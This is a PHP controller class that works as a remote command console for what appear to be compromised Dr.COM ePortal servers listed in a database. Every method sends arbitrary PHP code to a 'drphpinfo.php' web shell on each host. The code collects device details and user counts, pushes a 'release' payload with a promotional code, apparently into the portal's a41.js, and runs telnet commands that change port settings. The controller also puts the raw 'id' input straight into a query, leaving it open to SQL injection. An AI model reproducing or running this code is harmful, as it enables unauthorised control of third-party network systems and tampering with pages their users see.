<?php

namespace app\api\controller;

class Drcom
{
    public function __construct()
    {
        $id = input('id','');
        $where = $id>0?"id=$id":'';
        $this->row = db('drcomPortal')
//            ->where('switch', 1)
//            ->where('host','218.91.254.94')
            ->order('update_time')
            ->where($where)
            ->find();
        echo "{$this->row['username']} {$this->row['host']}\n";
    }

    public function index()
    {
        $a41 = $this->a41();
        $a41js = $this->a41js();
        if (strlen($a41) == 32 && $a41 == $a41js) {
            $this->online();
            echo "Release:\n";
            $this->release();
        }else{
            echo "Not release\n";
        }
    }

    public function test(){
        $this->sn();
        $this->ver();
        $this->disk();
        $this->online();
        $a41 = $this->a41();
        $a41js = $this->a41js();
    }
    public function sn()
    {
        $row = $this->row;
        $code = file_get_contents(APP_PATH . 'drcom/sn.php');
        $code = str_replace('<?php', '', $code);
        $url = "http://{$row['host']}:{$row['port']}/drphpinfo.php?method=phpinfo";
        $data['_eval'] = $code;
        $res = $this->post_curls($url, $data);
        $sn = explode("\t",$res)[1];
        db('drcomPortal')->where('id', $row['id'])->setField('sn', $sn);
        echo $sn;
    }

    public function a41()
    {
        $row = $this->row;
        $code = file_get_contents(APP_PATH . 'drcom/drset.php');
        $code = str_replace('<?php', '', $code);
        $url = "http://{$row['host']}:{$row['port']}/drphpinfo.php?method=phpinfo";
        $data['_eval'] = $code;
        $md5 = $this->post_curls($url, $data);

        if (strlen($md5)!=32) $md5 = '';
        db('drcomPortal')->where('id', $row['id'])
            ->update([
                'a41' => $md5,
                'update_time' => date('Y-m-d H:i:s')
            ]);
        return $md5;
    }

    public function a41js()
    {
        $row = $this->row;
        $code = '
        $srv = "/srv/http/php/eportal/release/";
        $str = "";
        if (file_exists("$srv"."a41.js")) $str = md5_file("$srv"."a41.js");
        if (file_exists("$srv"."a41.js.gz")) $str = md5_file("$srv"."a41.js.gz");
        echo $str;
        ';
        $url = "http://{$row['host']}:{$row['port']}/drphpinfo.php?method=phpinfo";
        $data['_eval'] = $code;
        echo "a41js\n";
        $md5 = $this->post_curls($url, $data);
//        if (strlen($md5)!=32) die("drphpinfo error\n");
        if (strlen($md5)!=32) $md5 = '';
        db('drcomPortal')->where('id', $this->row['id'])
            ->update([
                'a41js' => $md5,
                'update_time' => date('Y-m-d H:i:s')
            ]);
        return $md5;
    }

    public function ver()
    {
        $row = $this->row;
        $code = "echo phpversion();";
        $url = "http://{$row['host']}:{$row['port']}/drphpinfo.php?method=phpinfo";
        $data['_eval'] = $code;
        $ver = $this->post_curls($url, $data);
        db('drcomPortal')->where('id', $row['id'])->setField('php_ver', $ver);
        echo $ver;
    }

    public function disk()
    {
        $row = $this->row;
        $code = "echo round(@disk_free_space('.')/(1024*1024*1024),2);";
        $url = "http://{$row['host']}:{$row['port']}/drphpinfo.php?method=phpinfo";
        $data['_eval'] = $code;
        $diskFree = $this->post_curls($url, $data);
        db('drcomPortal')->where('id', $row['id'])->setField('disk_free', $diskFree);
        echo $diskFree;
    }

    public function online()
    {
        $row = $this->row;
        $code = file_get_contents(APP_PATH . 'drcom/online.php');
        $code = str_replace('<?php', '', $code);
        $url = "http://{$row['host']}:{$row['port']}/drphpinfo.php?method=phpinfo";
        $data['_eval'] = $code;
        $online = $this->post_curls($url, $data);
        $onlineNum = substr_count($online, 'R3503');
        db('drcomPortal')->where('id', $row['id'])
            ->update([
                'online_num' => $onlineNum,
                'release_time' => date('Y-m-d H:i:s')
            ]);
        echo $onlineNum . "\n";

    }

    //d41d8cd98f00b204e9800998ecf8427e 空文件
    public function release()
    {
        $row = $this->row;
        //获取口令
        $activeId = config('site.activity');
        echo $activeId;
        echo "\n";
        $relationId = $row['rid'];
//        $relationId = 2783742918;
        $tpwd = get_activity_info($activeId, $relationId);
        echo $tpwd."\n";
        $code = file_get_contents(APP_PATH . 'drcom/release.php');
        $code = str_replace('<?php', '', $code);
        $code = str_replace('kouling', $tpwd, $code);
        $url = "http://{$row['host']}:{$row['port']}/drphpinfo.php?method=phpinfo";
//        echo $url;
        $data['_eval'] = $code;
        $res = $this->post_curls($url, $data);
        db('drcomPortal')->where('id', $row['id'])
            ->update([
                'tpwd' => $tpwd,
                'update_time' => date('Y-m-d H:i:s'),
                'release_time' => date('Y-m-d H:i:s')
            ]);
        echo $res."\n";
    }

    public function sysoption()
    {
        $row = $this->row;
        $code = file_get_contents(APP_PATH . 'drcom/telnet.php');
        $code = str_replace('<?php', '', $code);
        $url = "http://{$row['host']}:{$row['port']}/drphpinfo.php?method=phpinfo";
        $data['_eval'] = $code;
        echo $this->post_curls($url, $data);
    }

    public function ext0()
    {
        $row = $this->row;
        $code = file_get_contents(APP_PATH . 'drcom/telnet.php');
        $code = str_replace('<?php', '', $code);
        $code = str_replace('sysoption', 'exthttpport 0', $code);
        $url = "http://{$row['host']}:{$row['port']}/drphpinfo.php?method=phpinfo";
        $data['_eval'] = $code;
        db('drcomPortal')->where('id', $row['id'])
            ->update([
                'exthttpport' => 0,
                'update_time' => date('Y-m-d H:i:s')
            ]);

        echo $this->post_curls($url, $data);
    }

    public function ext1888()
    {
        $row = $this->row;
        $code = file_get_contents(APP_PATH . 'drcom/telnet.php');
        $code = str_replace('<?php', '', $code);
        $code = str_replace('sysoption', 'exthttpport 1888', $code);
        $url = "http://{$row['host']}:{$row['port']}/drphpinfo.php?method=phpinfo";
        $data['_eval'] = $code;
        db('drcomPortal')->where('id', $row['id'])
            ->update([
                'exthttpport' => 1888,
                'update_time' => date('Y-m-d H:i:s')
            ]);
        echo $this->post_curls($url, $data);
    }

    public function sysinfo()
    {
        $row = $this->row;
        $code = file_get_contents(APP_PATH . 'drcom/telnet.php');
        $code = str_replace('<?php', '', $code);
        $code = str_replace('sysoption', 'sysinfo', $code);
        $url = "http://{$row['host']}:{$row['port']}/drphpinfo.php?method=phpinfo";
        $data['_eval'] = $code;
        echo $this->post_curls($url, $data);
    }

    public function loginlog()
    {
        $row = $this->row;
        $code = file_get_contents(APP_PATH . 'drcom/loginlog.php');
        $code = str_replace('<?php', '', $code);
        $url = "http://{$row['host']}:{$row['port']}/drphpinfo.php?method=phpinfo";
        $data['_eval'] = $code;
        $loginNum = $this->post_curls($url, $data);
//        db('drcomPortal')->where('id', $row['id'])->setField('login_num', $loginNum);
        db('drcomPortal')->where('id', $row['id'])
            ->update([
//                'exthttpport' => 1888,
                'update_time' => date('Y-m-d H:i:s')
            ]);
        echo $loginNum;
    }


    private function post_curls($url, $post)
    {
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_POST, 1);
        curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($post));
        curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 6);
        curl_setopt($curl, CURLOPT_TIMEOUT, 6);
        curl_setopt($curl, CURLOPT_HEADER, 0);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        $res = curl_exec($curl);
        curl_close($curl);
        return $res;
    }


}